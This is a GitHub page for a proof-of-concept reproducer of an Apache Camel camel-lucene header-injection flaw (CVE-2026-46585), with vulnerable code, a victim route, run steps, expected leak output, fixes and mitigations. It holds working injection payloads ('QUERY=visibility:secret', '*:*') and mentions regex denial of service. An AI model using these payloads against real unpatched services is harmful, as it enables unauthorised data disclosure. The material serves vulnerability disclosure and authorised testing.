oscerd/CVE-2026-46585

GitHub: oscerd/CVE-2026-46585

该项目是 Apache Camel camel-lucene 组件 QUERY header 注入漏洞(CVE-2026-46585)的完整复现器,用于演示和验证未经授权的 HTTP 客户端如何通过注入 Lucene 查询实现授权绕过与数据泄露。

Stars: 0 | Forks: 0

# camel-lucene `QUERY` Header 注入复现器 (CVE-2026-46585) 本项目演示了 Apache Camel 的 `camel-lucene` 组件中的一个**消息头注入 / 授权绕过**漏洞,追踪编号为 **CVE-2026-46585**。Lucene 查询生产者会从 Exchange header 中读取全文搜索短语,但该 header 的名称是纯字符串 **`QUERY`**(以及用于文档标志的 **`RETURN_LUCENE_DOCS`**)。由于这些名称**不**以 `Camel` / `camel` 前缀开头,`HttpHeaderFilterStrategy` —— 它在 HTTP 边界处仅拦截 Camel header 命名空间 —— 允许它们从入站 HTTP 请求直接传递到 Exchange 中。因此,任何访问在 HTTP 消费者后端暴露 Lucene 查询的路由的 HTTP 客户端,都可以设置 `QUERY` header 并使其值针对索引执行,**从而覆盖路由原本打算运行的查询**。 此 PoC 将其影响演示为**授权绕过 / 数据泄露**:未经身份验证的客户端注入原始 Lucene 查询语法,以读取公共搜索端点从未打算返回的文档(而全匹配查询则会导出整个索引)。 安全公告: ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-lucene` | | **受影响的类** | `org.apache.camel.component.lucene.LuceneQueryProducer` 读取 `LuceneConstants.HEADER_QUERY`(值 `"QUERY"`) | | **CWE** | CWE-20(输入验证不恰当)/ CWE-639(通过用户控制键绕过授权) | | **影响** | HTTP 客户端设置 `QUERY` header → 执行任意 Lucene 查询 → 读取预期范围之外的文档,或发起大量消耗 CPU 的 regex 查询 | | **前置条件** | 路由在 HTTP 消费者(例如 platform-http)后端暴露了 `lucene:...:query` 生产者;当消费者未经验证时,即处于未验证状态 | | **受影响版本** | 从 4.0.0 至 4.14.8 之前,从 4.15.0 至 4.18.3 之前,从 4.19.0 至 4.21.0 之前 | | **修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **JIRA** | CAMEL-23509 | | **鸣谢** | Andrea Cosentino (Apache Software Foundation) 和 Yu Bao (PayPal) | ## 技术细节 ``` // LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY": public static final String HEADER_QUERY = "QUERY"; public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS"; // LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header: String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class); ... if (phrase != null) { searcher.open(indexDirectory, analyzer); hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled } ``` `LuceneSearcher` 使用经典的 `QueryParser("contents", analyzer)` 解析短语,因此攻击者可以使用完整的 Lucene 查询语法:字段词(`visibility:secret`)、全匹配(`*:*`)、通配符以及消耗资源的正则表达式。 修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23509)将 header **值**重命名为 Camel 约定 —— `HEADER_QUERY` 从 `QUERY` 改为 `CamelLuceneQuery`,`HEADER_RETURN_LUCENE_DOCS` 改为 `CamelLuceneReturnLuceneDocs` —— 这样它们就会像其他所有 Camel 控制 header 一样在 HTTP 边界被过滤掉。 常量字段名称保持不变(引用 `LuceneConstants.HEADER_QUERY` 的路由仍可正常工作);这仅对通过原始字符串值设置/读取这些 header 的路由构成破坏性变更。 ## 受害者路由 ``` from("platform-http:/search") .removeHeaders("Camel*") // documented hardening — see below .to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50") .process(/* render the Hits as text */); ``` 路由作者的安全模型是“此端点仅提供**公共**搜索”。正如文档所述,为了加固路由,甚至会在边缘处使用 `removeHeaders("Camel*")` 剥离 Camel 控制 header 命名空间。**但这无济于事**:控制 header 的名称是 `QUERY`,而不是 `CamelLuceneQuery`,因此该调用和内置的 HTTP header 过滤器都不会将其剥离 —— 这正是此 CVE 的核心所在(也正是修复方案中进行重命名的原因)。 索引包含三个公共文档和一个标记为 `visibility:secret` 的机密文档,其正文中包含一个良性的 flag 标记。正常的公共搜索(`QUERY=onboarding`,针对默认 `contents` 字段的纯词项)永远不会返回它;但注入的字段查询会将其返回。 ## 仓库结构 **受害者**是 Camel 搜索路由及其索引;**攻击者**是一个仅设置请求 header 的未经身份验证的 HTTP 客户端。所有这些都运行在一个独立自包含的应用程序中。 ``` CVE-2026-46585/ ├── pom.xml # camel-platform-http + camel-lucene 4.18.2 ├── Dockerfile ├── docker-compose.yml # single self-contained service ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir) │ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag) │ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query") │ └── ExploitController.java # attacker: GET /search with an injected QUERY header └── resources/ └── application.properties ``` ## 前置条件 - Java 17+ 和 Maven 3.8+ - Docker(可选,用于容器化运行) ## 复现步骤 ### 选项 A — Docker(推荐) ``` mvn clean package -DskipTests docker compose up -d --build curl -s http://localhost:8080/exploit/attack docker compose down ``` ### 选项 B — 直接运行 jar ``` mvn clean package -DskipTests java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar & curl -s http://localhost:8080/exploit/attack ``` ### 预期输出 ``` === 1) Legitimate public search (QUERY=onboarding) === hits=2 - Frequently asked questions about billing and account onboarding. - Welcome onboarding guide: how to use the public knowledge base and search for articles. secret leaked: false === 2) Injected query (QUERY=visibility:secret) === hits=1 - CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585} secret leaked: true === 3) Match-all query (QUERY=*:*) dumps the whole index === hits=4 - ... (every document, including the secret one) ... >>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a >>> document outside the endpoint's intended scope by injecting the QUERY header: true ``` 合法的词项搜索仅返回公开文档。攻击请求 —— 仅在框架本应过滤掉的某个 header 的值上有所不同 —— 读取了机密文档,而全匹配查询则返回了整个索引。 ## 攻击向量 任何可从 HTTP 消费者访问的带有 `lucene:...:query` 生产者的路由。除了读取非预期文档外,攻击者还可以: - 用 `*:*` 或不同的字段谓词替换路由原本针对用户/租户的过滤器(授权绕过)。 - 提交消耗资源的通配符 / 正则表达式查询以大量占用 CPU(拒绝服务)。 ## 建议修复 升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23509)。升级后,通过原始 header 名称设置查询的路由必须使用 **`CamelLuceneQuery`**(以及 **`CamelLuceneReturnLuceneDocs`**)代替 `QUERY` / `RETURN_LUCENE_DOCS`;这些带有 Camel 命名空间的名称会像其他所有控制 header 一样在 HTTP 边界被过滤。 ## 缓解措施 在升级之前: 1. 在 Lucene 生产者之前剥离可被攻击者控制的 header,并从受信任的来源设置查询:使用 `.removeHeader("QUERY")` 和 `.removeHeader("RETURN_LUCENE_DOCS")`,然后在路由开始处使用 `.setHeader("QUERY", constant(...))`(或从经过验证的输入构建它)。 2. 在未对可查询内容进行授权检查的情况下,不要将 Lucene 查询生产者直接暴露给不受信任的 HTTP 客户端。 ## 免责声明 此复现器仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于对抗系统。
标签:Apache Camel, CISA项目, HTTP头注入, JS文件枚举, 域名枚举, 授权绕过, 漏洞复现, 请求拦截